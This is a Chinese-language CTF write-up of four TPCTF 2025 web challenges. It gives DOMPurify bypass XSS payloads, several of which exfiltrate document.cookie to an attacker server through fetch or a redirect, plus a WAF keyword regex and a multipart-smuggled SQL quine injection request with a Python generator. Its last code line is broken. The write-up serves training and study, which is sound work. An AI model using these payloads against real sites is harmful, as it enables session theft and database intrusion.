文章目錄
- baby layout
- safe layout
- Safe Layout Revenge
- supersqli
baby layout
在index.js文件中,看到了有使用DOMPurify庫來防止XSS操作
在package.json里可以看到版本是3.2.4,關于3.2.3是有繞過策略的。它會把script標簽清除掉,去看bot可以看到flag是放到cookie里的
await context.setCookie({name: 'FLAG',value: FLAG,domain: APP_HOST,httpOnly: false,sameSite: 'Strict',});
httponly被設置為false,所以是可以用js腳本獲取的,打xss,最好用的一般就是image標簽
<img src=a onerror=alert(1)>
create new layout發現可行,接著create new post發現成功被解析成圖標。layout是布局模板,需要包含占位符{{content}},post的內容過濾之后會渲染到模板里。那么到這里我們需要做一件事情,就是把完整的內容傳進最終的body里我們如果全傳到layout或者全傳到post傳不進去,但如果分開傳呢?這就有了一個天才的想法
layout:<img src=a {{content}}>
接下來在post里發我們要的執行代碼
οnerrοr=alert(1)
接下來要做的事情就更簡單了,想辦法把引號閉合了即可
"οnerrοr=alert(1)//
說明代碼成功執行,接下來用fetch函數拿Cookie發到自己服務器即可
"onerror=fetch(`http://[ip]:2333/`+document.cookie)>//
最后記得讓bot訪問構造好的頁面
safe layout
先看看這道題比上一道題多了什么
html標簽的屬性被過濾了,但是data-* 和 aria-* 類的屬性不會被過濾
發現web里有兩個ejs文件,打開看一下是渲染頁面用的,沒什么信息
探索DOMPurify庫
同時onload也是默認可用的
<svg data-type=“{{content}}”></svg>
test" οnlοad=location.href=“http://ip:3389?flag=”+document.cookie src="
復現環境沒有bot,試著可以彈窗就說明成功了
<meta http-equiv="refresh" content="0; url=http://47.108.229.212:3389?bot_was_here">
Safe Layout Revenge
越來越有意思了,data和aria也被禁了
const sanitizedContent = DOMPurify.sanitize(content, {ALLOWED_ATTR: [],ALLOW_ARIA_ATTR: false,ALLOW_DATA_ATTR: false,});
其實在上一篇文章里有繞過策略,整體思路是采用 style 繞過,測試發現當 style 標簽前面跟上一些字符時,style 內部的元素可能會得以保留,故這里采用的是刪除策略,把 xss 的 payload 構造好后,把 script 標簽插入 content,在第二次 post 的時候刪除就行
{ "layout": "s<style><{{content}}/style><{{content}}img src=a onerror=alert()></style>" }{ "content": "" }
彈窗成功后接下來用fetch帶出信息
supersqli
進來看到很多python文件,逐個看看
在views.py中看到拿到flag的邏輯,要求傳入username和password,根據傳入的數據去查詢,如果查詢到的密碼跟自己設置的密碼一樣,那就給出flag
def flag(request:HttpRequest):if request.method != 'POST':return HttpResponse('Welcome to TPCTF 2025')username = request.POST.get('username')if username != 'admin':return HttpResponse('you are not admin.')password = request.POST.get('password')users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))try:assert password == users[0].passwordreturn HttpResponse(os.environ.get('FLAG'))except:return HttpResponse('wrong password')
在urls.py中看到應該是要去/flag提交數據
urlpatterns = [path("flag/", views.flag, name="flag"),path("", views.index, name="index"),
]
去到waf里看看過濾
var sqlInjectionPattern = regexp.MustCompile(`(?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|drop\s+table|--|#|\*\/|\/\*)`)var rcePattern = regexp.MustCompile(`(?i)(\b(?:os|exec|system|eval|passthru|shell_exec|phpinfo|popen|proc_open|pcntl_exec|assert)\s*\(.+\))`)var hotfixPattern = regexp.MustCompile(`(?i)(select)`)
從單純語句繞過顯然是繞不過去了,去看下面這篇文章
bypass
form-data最初誕生于文件上傳,但是也可以用來傳遞參數,那么我們就可以利用這一特性,讓后端檢測以為我們是在上傳文件,實則是傳遞參數構造攻擊語句(適用于一些劣質waf)
至于密碼相等這一環節,則使用quine攻擊
sql注入新特性
POST /flag HTTP/1.1
Host: 127.0.0.1:70
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: multipart/form-data; boundary=a
Content-Length: 518--a
Content-Disposition: form-data; name="username";filename="pic.png"
Content-Disposition: form-data; name="username"admin
--a
Content-Disposition: form-data; name="password";filename="pic.png"
Content-Disposition: form-data; name="password"' union SELECT 1,2,REPLACE(REPLACE('" union SELECT 1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".") AS weljoni--',CHAR(34),CHAR(39)),CHAR(46),'" union SELECT 1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".") AS weljoni--') AS weljoni--
--a--
可惜本地復現時顯示301,可能給出的源碼里有點問題
def quine(data, debug=True):if debug: print datadata = data.replace('$$',"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")blob = data.replace('$$','"$"').replace("'",'"')data = data.replace('$$',"'"+blob+"'")if debug: print datareturn data
data = quine("' UNION SELECT $$ AS id,MD5(CHAR(122)) AS pw-- ")
data = quine("' UNION SELECT MD5($$)#)